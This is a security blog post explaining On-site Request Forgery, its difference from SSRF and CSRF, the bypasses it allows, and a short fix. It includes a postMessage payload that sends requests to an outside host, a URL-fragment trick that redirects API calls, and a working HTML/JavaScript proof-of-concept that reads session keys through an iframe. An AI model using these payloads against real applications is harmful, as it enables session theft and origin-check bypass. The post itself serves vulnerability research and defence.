On-site Request Forgery
March 5, 2018
You might have heard of Server Side Request Forgery or SSRF, and probably already came across On-site request Forgery. Let’s call it OSRF for brevity and not to confuse with CSRF. This post aims to briefly explain what OSRF is and how it differs from SSRF, possible impacts and remedy.
To begin with,
SSRF is a type of vulnerability where an attacker is able to influence Servers to send crafted requests to their destined location.
While with OSRF, an attacker is able to influence Clients to send crafted requests to their destined location on behalf of vulnerable application. That is, it sends request to your chosen URL with Referer and/or Origin of it’s own.
This slightly differs from Cross-site request forgery (CSRF) where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.
For example, SharePoint allows users to insert image URL for their avatar, and what it does is- places an <img>
tag in the DOM with given URL. This, in its simplest form, is an example of OSRF where we’re able to control URL where our browser sends requests to.
There’s already a post on PortSwigger on OSRF which goes to explain similar exploit scenarios in detail.
The following is a sample of vulnerable application taken from an application quite popular in the community
The parameter obj
to function xhr
is taken directly from postMessage received from the parent. To those not familiar with postMessage, it’s a cross-domain communication mechanism between Window objects (e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it).
The above snippet is a full-fledged method for sending HTTP requests (except it doesn’t include credentialed requests). All an attacker has to do is, open above page in an iframe or a child window, and send a postMessage like
{"action": "send", "url": "http://cm2.pw/?foo", "data": "foobar", "headers": [{"name": "Content-type", "value": "text/plain"}]}
This would send a POST request to http://cm2.pw/?foo on behalf of vulnerable application. This effectively includes Origin and Referrer header unless otherwise configured not to.
Update
Another example is- when applications send AJAX requests to URLs constructed dynamically from URL parameters and/or fragments, a common practice in mobile applications and API endpoints. If, for example, https://example.com/#/v1/user/profile sends request to https://api.example.com/v1/user/profile in background, probably we can manipulate where it sends requests to, depending on how subsequent URLs are constructed. If used string concatenation, https://example.com/#.cm2.pw/?foo will send request to https://api.example.com.cm2.pw/?foo proving it vulnerable to OSRF.
A quick video demo
So, what can an attacker do with OSRF?
Since requests are initiated from client, only few possibilities exist and they are;
1. Referrer Bypass
This can effectively bypass referrer validation as requests are originated from the domain itself. And, if the stars are aligned, can be used to craft CSRF request in turn.
2. SameSite Cookie Bypass
SameSite cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain. As of today, only Firefox & Chrome support SameSite cookies.
3. Origin Bypass
Origin plays a vital role in case of cross-domain communications i.e. with CORS and Web Sockets. There are many ways a CORS policy can be misconfigured and a recommended fix is to white-list allowed domains. The same applies to Web Socket. Now with OSRF, even if a proper Origin check is in place, a crafted request succeeds because it comes from an allowed domain.
The example above allowed bypassing Origin check to read session keys which were used in subsequent requests as an authorization token. The exploit looked like
<!DOCTYPE html>
<html>
<body>
<iframe src="https://example.com/chat/?version=1.0"></iframe>
<div id="msg"></div>
</body>
<script>
const frame = document.querySelector('frame');
const win = frame.contentWindow;
frame.onload = function() {
win.postMessage('{"action": "send", "url": "https://example.com/chat/?SessionId", "method": "GET", "headers": [{"name": "X-API-VERSION", "value": "1.0"}]}', '*');
};
window.onmessage = e => {
document.querySelector('div#msg').innerText += e.data + '\n\n';
}
</script>
</html>
** Parts of above snippet are changed to obscure client’s identity.
4. HTTP requests with custom headers and/or method
The above example demonstrates a perfect example of OSRF where one can also control request method as well as headers. Normally, cross-domain requests with custom HTTP headers like X-Requested-With
or dangerous HTTP methods like DELETE
, PUT
, etc. are pre-flighted, and if not permitted, are dropped altogether. Thus, OSRF, sometimes may also allow sending such requests which in turn may enable CSRF.
So, what’s the fix?
The actual fix depends on the applications’ requirements. The best is to ensure- data comes from expected sender, in expected format and only expected values are allowed.